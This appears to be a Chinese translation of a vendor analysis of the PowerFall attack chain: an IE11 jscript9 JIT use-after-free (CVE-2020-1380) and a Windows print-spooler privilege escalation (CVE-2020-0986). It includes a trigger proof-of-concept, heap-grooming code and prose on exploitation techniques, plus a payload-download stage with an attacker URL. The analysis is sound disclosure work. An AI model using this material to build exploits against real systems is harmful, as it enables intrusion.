大神淺談:IE和Windows的兩個0-day漏洞分析
0x00 概述
2020年5月,卡巴斯基成功防御了Internet Explorer惡意腳本對某家韓國企業(yè)的攻擊。經(jīng)過進(jìn)一步分析發(fā)現(xiàn),該工具使用了以前未知的完整利用鏈,其中包括兩個0-day漏洞:Internet Explorer遠(yuǎn)程代碼執(zhí)行漏洞、Windows特權(quán)提升漏洞。與我們以前在WizardOpium惡意活動中發(fā)現(xiàn)的攻擊鏈不同,新的攻擊鏈可以針對Windows 10的最新版本發(fā)動攻擊。經(jīng)過測試表明,該漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。
2020年6月8日,我們向Microsoft報告了我們的發(fā)現(xiàn),并且Microsoft已確認(rèn)漏洞。在我們撰寫報告時,Microsoft的安全團隊已經(jīng)針對CVE-2020-0986漏洞發(fā)布了補丁,修復(fù)這一特權(quán)提升0-day漏洞。但是,在我們發(fā)現(xiàn)該漏洞之前,這一漏洞的可利用性被評估為“不太可能”。CVE-2020-0986的修復(fù)程序在2020年6月9日發(fā)布。
Microsoft為JScript的Use-After-Free漏洞分配了CVE-2020-1380編號,該漏洞的補丁于2020年8月11日發(fā)布。

我們將這一系列攻擊稱為PowerFall惡意活動。目前,我們暫時不能將惡意活動與任何已知的威脅行為者建立明確聯(lián)系,但根據(jù)它與以前發(fā)現(xiàn)漏洞的相似性,我們認(rèn)為DarkHotel可能是此次攻擊的幕后黑手??ò退够a(chǎn)品目前將PowerFall攻擊檢測為“PDM:Exploit.Win32.Generic”。
0x01 Internet Explorer 11遠(yuǎn)程代碼執(zhí)行漏洞
在野外發(fā)現(xiàn)的Internet Explorer最新0-day攻擊利用了舊版本JavaScript引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中,CVE-2020-1380是jscript9.dll中的一個漏洞,該漏洞自Internet Explorer 9開始存在,因此Microsoft建議的緩解步驟(限制jscript.dll的使用)無法針對這個特定漏洞實現(xiàn)防護。
CVE-2020-1380是一個釋放后使用(Use-After-Free)漏洞,由于JIT優(yōu)化過程中,JIT編譯的代碼中缺少必要的檢查導(dǎo)致。下面展示了觸發(fā)漏洞的PoC:
- function func(O, A, F, O2) {
- arguments.push = Array.prototype.push;
- O = 1;
- arguments.length = 0;
- arguments.push(O2);
- if (F == 1) {
- O = 2;
- }
- // execute abp.valueOf() and write by dangling pointer
- A[5] = O;
- };
- // prepare objects
- var an = new ArrayBuffer(0x8c);
- var fa = new Float32Array(an);
- // compile func
- func(1, fa, 1, {});
- for (var i = 0; i < 0x10000; i++) {
- func(1, fa, 1, 1);
- }
- var abp = {};
- abp.valueOf = function() {
- // free
- worker = new Worker('worker.js');
- worker.postMessage(an, [an]);
- worker.terminate();
- worker = null;
- // sleep
- var start = Date.now();
- while (Date.now() - start < 200) {}
- // TODO: reclaim freed memory
- return 0
- };
- try {
- func(1, fa, 0, abp);
- } catch (e) {
- reload()
- }
要理解這一漏洞,我們首先看一下func()的執(zhí)行方式。這里,重要的是了解將什么值設(shè)置為A[5]。根據(jù)代碼,與之相關(guān)的應(yīng)該是一個參數(shù)O。在函數(shù)開始時,會將參數(shù)O重新分配為1,但隨后將函數(shù)參數(shù)長度設(shè)置為0。這個操作不會清除函數(shù)參數(shù)(通常,常規(guī)數(shù)組會這樣做),但允許將參數(shù)O2放在索引為0的參數(shù)列表1中,這意味著O = O2。除此之外,如果參數(shù)F等于1,則會再次重新分配O,但這次會分配整數(shù)2。這意味著,根據(jù)參數(shù)F的值,O參數(shù)會等于O2參數(shù)的值或是整數(shù)2。參數(shù)A是32位浮點型數(shù)組,在將值分配給數(shù)組的索引5之前,會將值首先轉(zhuǎn)換為浮點數(shù)。將整數(shù)轉(zhuǎn)換為浮點數(shù)的過程比較簡單,但是如果要將對象轉(zhuǎn)換為浮點數(shù),這個過程就不再那么簡單了。該漏洞利用使用了重載方法valueOf()中的abp對象。當(dāng)對象轉(zhuǎn)換為浮點型時執(zhí)行此方法,但是在其內(nèi)部,包含釋放ArrayBuffer的代碼,該代碼由Float32Array查看,并在其中設(shè)置返回值。為了防止將值存儲在已釋放對象的內(nèi)存中,JavaScript引擎需要首先檢查對象的狀態(tài),然后再將值存儲在對象中。為了安全地轉(zhuǎn)換和存儲浮點值,JScript9.dll使用函數(shù)Js::TypedArray::BaseTypedDirectSetItem()。下面是這個函數(shù)的反編譯代碼:
- int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
- {
- Js::JavascriptConversion::ToNumber(object, this->type->library->context);
- if ( LOBYTE(this->view[0]->unusable) )
- Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
- if ( index < this->count )
- {
- *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
- object,
- this->type->library->context);
- }
- return 1;
- }
- double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
- {
- if ( (unsigned char)object & 1 )
- return (double)((int)object >> 1);
- if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
- return *((double *)object + 1);
- return Js::JavascriptConversion::ToNumber_Full(object, context);
- }
該函數(shù)檢查浮點型數(shù)組的view[0]->unusable和count字段。在執(zhí)行valueOf()方法的過程中,當(dāng)ArrayBuffer被釋放時,這兩項檢查都將失敗,因為此時view[0]->unusable為1,并且在第一次調(diào)用Js::JavascriptConversion::ToNumber()時count為0。問題在于,Js::TypedArray::BaseTypedDirectSetItem()函數(shù)僅在解釋模式下使用。
當(dāng)函數(shù)func()被即時編譯時,JavaScript引擎將會使用以下存在漏洞的代碼:
- if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
- {
- if ( floatArray->count > index )
- {
- buffer = floatArray->buffer + 4*index;
- if ( object & 1 )
- {
- *(float *)buffer = (double)(object >> 1);
- }
- else
- {
- if ( *(void *)object != &Js::JavascriptNumber::vftable )
- {
- Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
- }
- else
- {
- *(float *)buffer = *(double *)(object->value);
- }
- }
- }
- }
這是Js::JavascriptConversion::ToFloat_Helper()函數(shù)的代碼:
- void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
- {
- *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
- }
如我們所見,與解釋模式不同,在即時編譯的代碼中,不會檢查ArrayBuffer的生命周期,并且可以釋放它的內(nèi)存,然后在調(diào)用valueOf()函數(shù)時將其回收。此外,攻擊者可以控制將返回值寫入到哪個索引中。但是,在arguments.length = 0;和arguments.push(O2);的情況下,PoC會將其替換為arguments[0] = O2;,所以Js::JavascriptConversion::ToFloat_Helper()就不會觸發(fā)這個Bug,因為隱式調(diào)用將被禁用,并且不會執(zhí)行對valueOf()函數(shù)的調(diào)用。
為了確保及時編譯函數(shù)func(),漏洞利用程序會執(zhí)行該函數(shù)0x10000次,對整數(shù)進(jìn)行無害的轉(zhuǎn)換,并且只有在再次執(zhí)行func()之后,才會觸發(fā)Bug。為了釋放ArrayBuffer,漏洞利用使用了一種濫用Web Workers API的通用技術(shù)。postMessage()函數(shù)可以用于將對象序列化為消息,并將其發(fā)送給worker。但是,這里的一個副作用是,已傳輸?shù)膶ο髸会尫?,并且在?dāng)前腳本上下文中變?yōu)椴豢捎?。在釋放ArrayBuffer后,漏洞利用程序通過模擬Sleep()函數(shù)使用的代碼觸發(fā)垃圾回收機制。這是一個while循環(huán),用于檢查Date.now()與先前存儲的值之間的時間間隔。完成后,漏洞利用會使用整數(shù)數(shù)組回收內(nèi)存。
- for (var i = 0; i < T.length; i += 1) {
- T[i] = new Array((0x1000 - 0x20) / 4);
- T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
- }
在創(chuàng)建大量數(shù)組后,Internet Explorer會分配新的LargeHeapBlock對象,這些對象會被IE的自定義堆實現(xiàn)使用。LargeHeapBlock對象將存儲緩沖區(qū)地址,將這些地址分配給數(shù)組。如果成功實現(xiàn)了預(yù)期的內(nèi)存布局,則該漏洞將使用0覆蓋LargeHeapBlock偏移量0x14處的值,該值恰好是分配的塊數(shù)。
jscript9.dll x86的LargeHeapBlock結(jié)構(gòu):

此后,漏洞利用會分配大量的數(shù)組,并將它們設(shè)置為在漏洞利用初始階段準(zhǔn)備好的另一個數(shù)組。然后,將該數(shù)組設(shè)置為null,漏洞利用程序調(diào)用CollectGarbage()函數(shù)。這將導(dǎo)致堆碎片整理,修改后的LargeHeapBlock及其相關(guān)的數(shù)組緩沖區(qū)將被釋放。在這個階段,漏洞利用會創(chuàng)建大量的整數(shù)數(shù)組,以回收此前釋放的數(shù)組緩沖區(qū)。新創(chuàng)建的數(shù)組的魔術(shù)值設(shè)置為索引0,該值通過指向先前釋放的數(shù)組的懸空指針以進(jìn)行檢查,從而確認(rèn)漏洞利用是否成功。
- for (var i = 0; i < K.length; i += 1) {
- K[i] = new Array((0x1000 - 0x20) / 4);
- K[i][0] = 0x888; // store magic
- }
- for (var i = 0; i < T.length; i += 1) {
- if (T[i][0] == 0x888) { // find array accessible through dangling pointer
- R = T[i];
- break;
- }
- }
最后,漏洞利用創(chuàng)建了兩個不同的JavascriptNativeIntArray對象,它們的緩沖區(qū)指向相同的位置。這樣,就可以檢索對象的地址,甚至可以創(chuàng)建新的格式錯誤的對象。該漏洞利用使用這些原語來創(chuàng)建格式錯誤的DataView對象,并獲得對該進(jìn)程整個地址空間的讀/寫訪問權(quán)限。
在構(gòu)建了任意的讀/寫原語之后,就可以繞過控制流防護(CFG)并執(zhí)行代碼了。該漏洞利用使用數(shù)組的vftable指針獲取jscript9.dll的模塊基址。從這里,它解析jscript9.dll的PT頭,以獲得導(dǎo)入目錄表的地址,并解析其他模塊的基址。這里的目標(biāo)是找到函數(shù)VirtualProtect()的基址,該地址將用于執(zhí)行Shellcode的過程。之后,漏洞利用程序在jscript9.dll中搜索兩個簽名。這些簽名對應(yīng)Unicode字符串split和JsUtil::DoublyLinkedListElement::LinkToBeginning()函數(shù)地址。Unicode字符串split的地址用于獲取對該字符串的代碼引用,并借助它來幫助解析函數(shù)Js::JavascriptString::EntrySplit()的地址,該函數(shù)實現(xiàn)了字符串方法split()。函數(shù)LinkToBeginning()的地址用于獲取全局鏈表中第一個ThreadContext對象的地址。這個漏洞利用程序會在鏈表中找到最后一個條目,并利用它為負(fù)責(zé)執(zhí)行腳本的線程獲取堆棧位置。然后,就到了最后一個階段。漏洞利用程序執(zhí)行split()方法,并提供一個具有重載valueOf()方法的對象作為限制參數(shù)。在執(zhí)行Js::JavascriptString::EntrySplit()函數(shù)的過程中,執(zhí)行重載的valueOf()方法時,漏洞利用程序?qū)⑺阉骶€程的堆棧以查找返回地址,將Shellcode放置在準(zhǔn)備好的緩沖區(qū)中,獲取其地址。最后,通過覆蓋函數(shù)的返回地址,構(gòu)建一個面向返回的編程(ROP)鏈以執(zhí)行Shellcode。
0x02 下一階段
Shellcode是附加到Shellcode上的可移植可執(zhí)行(PE)模塊的反射DLL加載器。這個模塊非常小,全部功能都位于單個函數(shù)內(nèi)。它在名為ok.exe的臨時文件夾中創(chuàng)建一個文件,將遠(yuǎn)程執(zhí)行代碼中利用的另一個可執(zhí)行文件的內(nèi)容寫入到其中。之后,執(zhí)行ok.exe。
ok.exe可執(zhí)行文件包含針對GDI Print / Print Spooler API中的任意指針解引用特權(quán)提升漏洞(CVE-2020-0986)。該漏洞最初是一位匿名用戶通過Trend Micro的Zero Day Initiative計劃向Microsoft報告的。由于該漏洞在報告后的6個月內(nèi)未發(fā)布補丁,因此ZDI將這一0-day漏洞進(jìn)行披露,披露日期為2020年5月19日。第二天,這一漏洞就已經(jīng)在先前提到的攻擊中被利用。
利用這一漏洞,可以使用進(jìn)程間通信來讀取和寫入splwow64.exe進(jìn)程的任意內(nèi)存,并繞過CFG和EncodePointer保護,從而實現(xiàn)splwow64.exe中的代碼執(zhí)行。該漏洞利用程序的資源中嵌入了兩個可執(zhí)行文件。第一個可執(zhí)行文件以CreateDC.exe的形式寫入磁盤,并用于創(chuàng)建設(shè)備上下文(DC),這是漏洞利用所必需的。第二個可執(zhí)行文件的名稱為PoPc.dll,如果利用成功,會由具有中等完整性級別的splwow64.dll執(zhí)行。我們將在后續(xù)文章中提供有關(guān)CVE-2020-0986及其漏洞利用的更多信息。
從splwow64.exe執(zhí)行惡意PowerShell命令:

PoPc.dll的主要功能也位于單個函數(shù)之中。它執(zhí)行一個編碼后的PowerShell命令,該命令用于從www[.]static-cdn1[.]com/update.zip下載文件,將其保存為臨時文件upgrader.exe并執(zhí)行。由于卡巴斯基已經(jīng)在下載可執(zhí)行文件前阻止了攻擊,因此我們未能拿到upgrader.exe,無法對其進(jìn)行進(jìn)一步分析。